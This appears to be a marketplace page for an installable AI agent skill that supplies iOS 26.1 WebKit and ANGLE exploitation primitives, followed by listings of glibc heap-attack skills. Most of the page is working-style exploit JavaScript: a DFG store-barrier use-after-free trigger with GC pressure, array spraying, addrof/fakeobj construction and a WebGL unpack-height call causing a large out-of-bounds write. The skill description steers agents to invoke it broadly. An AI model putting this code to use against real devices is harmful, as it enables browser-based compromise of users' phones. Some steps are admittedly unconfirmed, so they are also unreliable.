skills/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob/SKILL.md
iOS 26.1 exploitation primitives using WebKit DFG Store-Barrier UAF (CVE-2025-43529) and ANGLE Metal PBO OOB (CVE-2025-14174). Use this skill whenever the user mentions iOS exploitation, WebKit vulnerabilities, ANGLE bugs, use-after-free, out-of-bounds writes, PAC constraints, addrof/fakeobj primitives, or any iOS security research involving JavaScript engine exploits. This is the go-to skill for building iOS exploitation chains on arm64e.
npx skillsauth add abelrguezr/hacktricks-skills ios-webkit-ANGLE-exploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill provides exploitation primitives for iOS 26.1 (arm64e) using two complementary vulnerabilities:
// 1. Trigger the UAF
triggerUAF(true, 100);
// 2. Reclaim freed butterfly with array spray
sprayArrays();
// 3. Build addrof/fakeobj primitives
const addr = ftoi(unboxed_arr[0]);
unboxed_arr[0] = itof(addr);
const fake = boxed_arr[0];
In DFGStoreBarrierInsertionPhase.cpp, when a Phi node is marked escaped while its Upsilon inputs are not, the compiler skips inserting write barriers on subsequent object stores. Under GC pressure, this allows JSC to free still-reachable objects.
function triggerUAF(flag, allocCount) {
// Tenure object A in old space
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;
// Force Date to materialize a butterfly (the target to free)
const a = new Date(1111);
a[0] = 1.1; // Indexed access creates butterfly
// Apply GC pressure to widen the race window
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
// Set up Phi/Upsilon escape mismatch
const b = {p0: 0x42424242, p1: 1.1};
let f = b;
if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
// GC race window
for (let i = 0; i < 1e6; ++i) {}
// Store without barrier → frees `a`/butterfly
b.p1 = a;
}
| Requirement | Purpose | |-------------|----------| | Old space tenure | Exercises generational barriers | | Indexed Date | Creates butterfly as free target | | ArrayBuffer spray | Forces GC, widens race window | | Phi/Upsilon mismatch | Prevents barrier insertion |
In TextureMtl.cpp, the Metal backend allocates the PBO staging buffer using UNPACK_IMAGE_HEIGHT instead of the real texture height. Supplying a tiny unpack height then issuing a large texImage2D causes a staging-buffer OOB write.
// Shrink staging buffer allocation
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(
gl.TEXTURE_2D,
0,
gl.DEPTH_COMPONENT32F,
256, 256, 0,
gl.DEPTH_COMPONENT,
gl.FLOAT,
0
);
On iOS 26.1 (arm64e), these fields are PAC-signed:
m_vectorbutterflyForging fake objects with attacker-chosen pointers crashes with EXC_BAD_ACCESS/EXC_ARM_PAC.
The boxed/unboxed confusion primitive works because it reuses legitimate signed butterflies. You cannot introduce unsigned attacker pointers directly.
addrof - Leak object addressesfakeobj - Reinterpret existing objectsread64/write64 via inline-slot backings// After UAF triggers and butterfly is freed
function sprayArrays() {
// Spray to reclaim freed slab
for (let i = 0; i < 1000; i++) {
boxed_arr[i] = new Object();
unboxed_arr[i] = 0.0;
}
}
// Build primitives
boxed_arr[0] = obj; // Store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // Read as float64 → addr leak
unboxed_arr[0] = itof(addr); // Write pointer bits as float
const fake = boxed_arr[0]; // Reinterpret as object → fakeobj
// Float64 ↔ Pointer conversion
function ftoi(f) {
const view = new Float64Array(1);
view[0] = f;
return new Uint32Array(view.buffer)[0] |
(new Uint32Array(view.buffer)[1] << 32);
}
function itof(i) {
const view = new Uint32Array(2);
view[0] = i & 0xFFFFFFFF;
view[1] = (i >> 32) & 0xFFFFFFFF;
return new Float64Array(view.buffer)[0];
}
These are research directions, not confirmed working:
// Check if butterfly was freed by attempting to access it
try {
console.log(a[0]); // Should crash or return garbage if freed
} catch(e) {
console.log("UAF likely triggered");
}
// Leak known address
const known = {x: 1};
const leaked = ftoi(unboxed_arr[0]);
console.log("Leaked: 0x" + leaked.toString(16));
// Verify fakeobj
const fake = boxed_arr[0];
console.log(fake.x); // Should work if primitive is correct
allocCount if UAF doesn't triggertesting
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.